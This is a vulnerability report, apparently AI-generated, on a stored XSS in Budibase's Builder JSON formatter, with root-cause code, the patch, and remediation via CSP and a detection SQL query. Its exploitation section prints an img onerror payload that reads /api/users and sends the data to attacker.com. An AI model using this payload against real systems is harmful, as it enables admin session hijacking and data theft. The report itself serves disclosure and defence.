CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-122244

CVE-2026-122244: Stored Cross-Site Scripting in Budibase Builder Formula Evaluation

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 21, 2026·9 min read·2 visits

Executive Summary (TL;DR)

A defective sanitization routine in Budibase's JSON formatter fails to escape raw HTML strings and JSON object keys before rendering them via Svelte's {@html} directive in the Builder UI. Low-privileged users can store malicious payloads in shared datasources to achieve arbitrary JavaScript execution in the context of an administrator's session, leading to full account takeover and workspace compromise.

CVE-2026-122244 (GHSA-r2q3-7m4h-63qg) is a high-severity cross-privilege Stored Cross-Site Scripting (XSS) vulnerability in Budibase prior to version 3.50.0. The flaw occurs due to defective character escaping in the JSON formatter utility combined with raw HTML rendering via Svelte's {@html} directive in the Budibase Builder interface. A low-privileged application user or an unauthenticated form visitor can store malicious HTML markup in a shared datasource, which subsequently executes arbitrary JavaScript in the browser session of an administrator or application builder inspecting Handlebars formula bindings.

Vulnerability Overview

Budibase is an open-source low-code platform used to build internal tools and business applications on top of external databases and REST APIs. The architecture separates the runtime end-user interface (/app/*) from the administrative development environment (/builder/*). Application builders use the Builder UI to define data schemas, create formula columns, and test Handlebars data bindings against live records stored in connected datasources.

CVE-2026-122244 (also tracked as GHSA-r2q3-7m4h-63qg) is a Stored Cross-Site Scripting (CWE-79) and Improper Output Neutralization (CWE-116) vulnerability within the packages/frontend-core and packages/builder components. The flaw resides in the data formatting pipeline used to display evaluated Handlebars bindings inside the Builder's evaluation panel. When a builder inspects a formula or binding that references untrusted database records, the application formats the evaluated output into syntax-highlighted HTML and injects it directly into the Document Object Model (DOM).

Because the formatting utility fails to neutralize HTML control characters in raw string outputs and JSON object keys, malicious markup stored in a datasource is rendered verbatim. Furthermore, the /builder/* origin does not enforce a Content Security Policy (CSP). Consequently, an attacker with minimal privileges—such as a BASIC application user or an unauthenticated user submitting a public form—can bridge the trust boundary between the end-user runtime and the administrative Builder session.

Root Cause Analysis

The root cause of CVE-2026-122244 is a multi-stage sanitization failure across the Handlebars evaluation pipeline, the string formatter in packages/frontend-core/src/utils/jsonFormatter.ts, and the Svelte UI rendering layer in packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte. When a Handlebars expression is evaluated in the Builder, the output is wrapped in new Handlebars.SafeString(...), which instructs downstream template engines to bypass automatic context-aware escaping.

The evaluated value is then passed to the format() function in jsonFormatter.ts to apply syntax highlighting before presentation. At the entry point of format(), the developer attempted to sanitize top-level HTML special characters (&, <, >) using chained regular expression replacements. However, the replacement strings contained literal characters rather than their corresponding HTML entity equivalents (&amp;, &lt;, &gt;). As a result, replacing < with < acted as a complete no-op, leaving all HTML tags intact in jsonString.

Following the ineffective top-level replacement, format() applies a token-matching regular expression via jsonString.replace() to wrap JSON primitives, keys, and string values in <span style="..."> tags. This secondary regex processing introduces two distinct escaping bypasses:

  1. Unquoted Raw Strings: When the input to format() is a raw JavaScript string (such as the evaluated output of a Handlebars formula returning text) rather than a serialized JSON object, typeof json === "string" ? json : JSON.stringify(...) preserves the raw string without surrounding quotation marks. Because the token regex only matches strings enclosed in double quotes (/^"/), raw strings containing HTML markup fail to match any token pattern. The .replace() call leaves the non-matching substrings completely untouched and unescaped.

  2. JSON Object Keys: When the input is a JSON object, the token regex matches both keys and string values. Inside the replacement callback, the code checks if a matched quoted string ends with a colon (/:$/.test(match)) to identify object keys. While string values are explicitly passed through escapeHtml(), the branch handling object keys assigns colors.keyColor and returns the raw key without calling escapeHtml(). Any HTML payload embedded within a JSON key name bypasses sanitization entirely.

Finally, the resulting string from jsonFormatter.format() is passed to EvaluationSidePanel.svelte and rendered using Svelte's raw HTML directive ({@html formattedResult}). This directive inserts the content directly into the element's innerHTML without framework-level sanitization, immediately executing any unescaped script tags or inline event handlers in the browser.

Code Analysis

In the vulnerable versions of Budibase (< 3.50.0), packages/frontend-core/src/utils/jsonFormatter.ts contained the defective format() implementation. The pre-patch code demonstrates both the no-op character replacement and the selective token escaping:

// Vulnerable implementation in packages/frontend-core/src/utils/jsonFormatter.ts
export function format(json: JSONValue, colorOptions: ColorsOptions = {}) {
  let jsonString =
    typeof json === "string" ? json : JSON.stringify(json, null, 2) || valueType
  let colors = Object.assign({}, defaultColors, colorOptions)
  
  // BUG 1: No-op regex replacements replace characters with themselves
  jsonString = jsonString
    .replace(/&/g, "&")
    .replace(/</g, "<")
    .replace(/>/g, ">")
    
  return jsonString.replace(
    /("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+]?\d+)?)/g,
    (match: string) => {
      let color = colors.numberColor
      let style = ""
      if (/^"/.test(match)) {
        if (/:$/.test(match)) {
          // BUG 2: Object keys are colored but never passed to escapeHtml()
          color = colors.keyColor
        } else {
          color = colors.stringColor
          match = '"' + escapeHtml(match.substr(1, match.length - 2)) + '"'
          style = "word-wrap:break-word;white-space:pre-wrap;"
        }
      } else {
        color = /true/.test(match)
          ? colors.trueColor
          : /false/.test(match)
            ? colors.falseColor
            : /null/.test(match)
              ? colors.nullColor
              : color
      }
      // BUG 3: Unmatched non-token substrings (like raw strings) bypass this callback entirely
      return `<span style="${style}color:${color}">${match}</span>`
    }
  )
}

The vendor remediated the vulnerability in commit 5f37fb43728639c540cc7233283f1100e9315424. The patch removes the defective top-level .replace() calls and replaces the in-place jsonString.replace() architecture with an iterative cursor loop using tokenRegex.exec(jsonString):

// Patched implementation in packages/frontend-core/src/utils/jsonFormatter.ts
export function format(json: JSONValue, colorOptions: ColorsOptions = {}) {
  let jsonString =
    typeof json === "string" ? json : JSON.stringify(json, null, 2) || valueType
  let colors = Object.assign({}, defaultColors, colorOptions)
  const tokenRegex =
    /("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+]?\d+)?)/g
    
  const formatToken = (token: string) => {
    let color = colors.numberColor
    let style = ""
    let formattedToken = token
    if (/^"/.test(token)) {
      color = /:$/.test(token) ? colors.keyColor : colors.stringColor
      // FIX 1: Both object keys and string values are unconditionally escaped
      formattedToken = escapeHtml(token)
      if (!/:$/.test(token)) {
        style = "word-wrap:break-word;white-space:pre-wrap;"
      }
    } else {
      color = /true/.test(token)
        ? colors.trueColor
        : /false/.test(token)
          ? colors.falseColor
          : /null/.test(token)
            ? colors.nullColor
            : color
      formattedToken = escapeHtml(token)
    }
    return `<span style="${style}color:${color}">${formattedToken}</span>`
  }
 
  let formatted = ""
  let lastIndex = 0
  let match: RegExpExecArray | null
  while ((match = tokenRegex.exec(jsonString)) !== null) {
    // FIX 2: Escape all non-token slices preceding the matched token
    formatted += escapeHtml(jsonString.slice(lastIndex, match.index))
    formatted += formatToken(match[0])
    lastIndex = tokenRegex.lastIndex
  }
 
  // FIX 3: Escape any remaining trailing slice (covers raw non-JSON strings)
  return formatted + escapeHtml(jsonString.slice(lastIndex))
}

> [!NOTE] > Fix Completeness Assessment: The patch in 5f37fb43728639c540cc7233283f1100e9315424 is complete for the jsonFormatter.format() sink. By maintaining lastIndex and passing every preceding slice (jsonString.slice(lastIndex, match.index)), every matched token (formatToken(match[0])), and the trailing remainder (jsonString.slice(lastIndex)) through escapeHtml(), no user-controlled character can reach the output without HTML entity encoding while the framework adds safe <span> tags around tokens.

Exploitation

Exploiting CVE-2026-122244 requires two conditions: write access to a datasource connected to a Budibase workspace, and user interaction from an application builder or administrator inspecting bindings in the Builder UI. Write access is typically available to any authenticated user assigned the BASIC role, or to unauthenticated external users if the application exposes a public data-entry form.

In the first phase of the attack, the adversary submits a record containing an HTML payload with an inline JavaScript event handler into a text column of the shared datasource (such as PostgreSQL, MySQL, CouchDB, or a REST API). Because standard <script> tags inserted via innerHTML do not execute according to the HTML5 specification, the attacker uses elements that trigger immediate asynchronous events, such as <img> or <svg>:

<img src=x onerror="fetch('/api/users').then(r=>r.json()).then(d=>fetch('https://attacker.com/exfil?c='+encodeURIComponent(JSON.stringify(d))))">

In the second phase, an administrator or builder logs into the Budibase Builder (/builder/*) to maintain or update the application. The execution trigger occurs when the builder performs one of the following actions on the table containing the malicious record:

  • Navigates to the Data section and creates or edits a Formula column referencing the compromised field (e.g., {{ row.description }}).
  • Opens the Handlebars Binding Drawer (EvaluationSidePanel.svelte) on any UI component bound to the compromised table and previews the evaluated expression.

When the preview panel evaluates the binding against the stored row, jsonFormatter.format() processes the raw string output. Because the unquoted string does not match the JSON token regex and the top-level .replace() calls are no-ops, the <img> tag is injected directly into <div class="result">{@html formattedResult}</div>. The browser attempts to load src=x, fails immediately, and executes the onerror payload within the builder's authenticated origin.

Impact Assessment

CVE-2026-122244 carries a CVSS v3.1 base score of 7.7 (High) with the vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N. While the attack complexity is rated High (AC:H) and requires user interaction (UI:R) from a privileged builder navigating to a binding evaluation panel, the Scope is Changed (S:C) because the vulnerability bridges the privilege boundary from a low-privileged runtime application user (/app/*) to the administrative Builder environment (/builder/*).

Once JavaScript executes within the Builder session, the absence of a Content Security Policy (CSP) allows the script to make arbitrary authenticated HTTP requests to internal Budibase administrative endpoints and external servers. Both Confidentiality (C:H) and Integrity (I:H) impacts are total within the context of the platform.

Specifically, an attacker executing code in an administrator's session can achieve the following objectives:

  • Administrative Account Creation & Takeover: Issue POST requests to /api/users to provision new global administrator accounts or modify existing user credentials and permissions.
  • Datasource Secret & Credential Exfiltration: Query internal builder endpoints to retrieve connected datasource configurations, including database connection strings, API keys, and bearer tokens.
  • Workspace Data Exfiltration and Tampering: Read, modify, or delete records across all internal CouchDB/SQLite tables and connected external SQL databases.
  • Application Backdooring: Modify application definitions and publish tampered versions of internal tools to production users.

Remediation

The primary remediation is to upgrade Budibase to version 3.50.0, 4.0.0, or a subsequent release that incorporates commit 5f37fb43728639c540cc7233283f1100e9315424. Administrators running containerized deployments should pull the patched image from the official registry and redeploy their services:

docker pull budibase/budibase:3.50.0

For environments where an immediate upgrade is not feasible, security teams should implement defense-in-depth controls at the reverse proxy layer and audit existing database records. Enforcing a strict Content Security Policy (CSP) on the /builder/ route via Nginx or an upstream load balancer prevents inline event handlers (onerror, onload) and unauthorized external connections from executing even if unescaped HTML is injected into the DOM:

location /builder/ {
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self' ws: wss:;" always;
}

Additionally, database administrators should inspect tables connected to public forms or low-privileged user inputs for stored HTML tags and event handlers prior to inspecting bindings in the Builder UI:

SELECT * FROM table_name 
WHERE column_name LIKE '%<script%' 
   OR column_name LIKE '%<img%' 
   OR column_name LIKE '%onerror=%' 
   OR column_name LIKE '%onload=%';

Official Patches

BudibaseGitHub Security Advisory GHSA-r2q3-7m4h-63qg
BudibaseOfficial Fix Commit in Budibase Repository
BudibaseBudibase Release v3.50.0
BudibaseBudibase Release v4.0.0

Fix Analysis (1)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Affected Systems

Budibase (packages/frontend-core)Budibase (packages/builder)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Budibase
Budibase
< 3.50.03.50.0
AttributeDetail
Vulnerability TypeStored Cross-Site Scripting (CWE-79 / CWE-116)
CVSS v3.1 Score7.7 High (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N)
Affected Componentpackages/frontend-core/src/utils/jsonFormatter.ts & EvaluationSidePanel.svelte
Attack VectorNetwork (Low-privileged or public write to shared datasource)
ImpactArbitrary JS execution in Admin Builder session, account takeover, data exfiltration
Exploit StatusProof-of-Concept (PoC)
Patched Versions3.50.0, 4.0.0
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Official patch authored and committed (5f37fb43728639c540cc7233283f1100e9315424)
2026-09-07
CVE-2026-122244 reserved by GitHub_M CNA
2026-11-04
GitHub Security Advisory GHSA-r2q3-7m4h-63qg and NVD record published
2026-11-20
CISA ADP Vulnrichment assessment completed (Exploitation: PoC, Technical Impact: Total)
2026-11-20

References & Sources

  • [1]GitHub Security Advisory: GHSA-r2q3-7m4h-63qg
  • [2]Official Fix Commit: 5f37fb43728639c540cc7233283f1100e9315424
  • [3]CVE.org Record: CVE-2026-122244
  • [4]NVD Detail Page: CVE-2026-122244
  • [5]CVE List V5 Raw Record: CVE-2026-122244
  • [6]Budibase Release v3.50.0
  • [7]Budibase Release v4.0.0

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-122247
8.2

CVE-2026-122247: Unauthenticated Global-Admin and Database Creation via Tenant-Confusion Bypass in Budibase

A tenant-confusion vulnerability in the user initialization endpoint of the Budibase worker service (prior to version 3.50.0) allows unauthenticated remote attackers to bypass the one-time administrative setup guard. By supplying arbitrary tenant identifiers in POST requests to /api/global/users/init, an attacker can force the underlying CouchDB datastore to dynamically provision unlimited tenant databases and persist latent global administrator accounts. This results in datastore resource exhaustion, denial of service, and unauthorized administrative account creation inside non-default tenant contexts.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 3 hours ago•CVE-2026-103026
8.1

CVE-2026-103026: Arbitrary Method Invocation and State Tampering in Paymenter via Livewire HasConfirmation Trait

Paymenter versions prior to 1.5.7 contain an arbitrary method invocation vulnerability within the base Livewire component architecture. The application includes a legacy trait, HasConfirmation, inside app/Livewire/Component.php, which is inherited across 36 client-facing Livewire components. This trait exposes a public remote procedure call (RPC) endpoint named executeConfirmedAction without access controls or method allowlisting. Remote attackers can invoke arbitrary methods on any inheriting component, including Livewire's internal fill() method, enabling them to bypass #[Locked] property protections and manipulate internal component state and hydrated Eloquent models.

Alon Barad
Alon Barad
3 views•9 min read
•about 4 hours ago•CVE-2026-104885
6.3

CVE-2026-104885: Cross-Realm MQTT Session Disconnect via Missing Authorization in OpenRemote

OpenRemote prior to version 1.31.0 contains a Missing Authorization vulnerability (CWE-862) in the user management REST API endpoint responsible for disconnecting active MQTT sessions. The disconnectUserSession method in UserResourceImpl fails to verify whether the requesting user owns the target MQTT session, holds administrative privileges, or belongs to the realm specified in the request path. As a result, any authenticated user who obtains a valid MQTT session identifier can forcefully terminate active MQTT connections belonging to other users or IoT devices across any tenant realm.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 5 hours ago•CVE-2026-69133
5.3

CVE-2026-69133: Cumulation Buffer Memory Retention in Netty OHTTP Codec

CVE-2026-69133 (GHSA-cg26-4c6j-2x8h) is a missing resource release vulnerability (CWE-772) in io.netty.incubator:netty-incubator-codec-ohttp affecting versions 0.0.20.Final through 0.0.26.Final. Both OHttpClientCodec and OHttpServerCodec retain the outer cumulationBuffer at its expanded high-water capacity after an Oblivious HTTP (OHTTP) exchange finishes. A remote unauthenticated attacker can complete a large OHTTP request or response over an HTTP keep-alive connection and leave the connection idle, pinning pooled or direct memory allocations across concurrent connections to induce denial of service.

Amit Schendel
Amit Schendel
3 views•8 min read
•about 6 hours ago•CVE-2026-104773
6.8

CVE-2026-104773: Session Fixation in CKAN User Registration View

A session fixation vulnerability (CWE-384) exists in CKAN (Comprehensive Knowledge Archive Network) prior to versions 2.10.11 and 2.11.6. When configured with server-side session storage and active public web registration, the user registration view programmatically authenticates newly created accounts without regenerating the active session identifier. An attacker capable of fixing or capturing a victim's pre-authentication session cookie can hijack the newly registered account immediately after registration completes.

Alon Barad
Alon Barad
3 views•9 min read
•about 7 hours ago•CVE-2026-35374
6.3

CVE-2026-35374: Arbitrary File Truncation via TOCTOU Race Condition in uutils coreutils split

CVE-2026-35374 is a Time-of-Check to Time-of-Use (TOCTOU) race condition (CWE-367) in the split utility of uutils coreutils. The utility validates that the input and output paths do not refer to the same file before opening the output file with truncation flags. A local attacker with write permissions in the destination directory can replace the output file path with a symbolic link during this race window, causing the process to truncate and overwrite arbitrary files accessible to the user executing split.

Amit Schendel
Amit Schendel
3 views•11 min read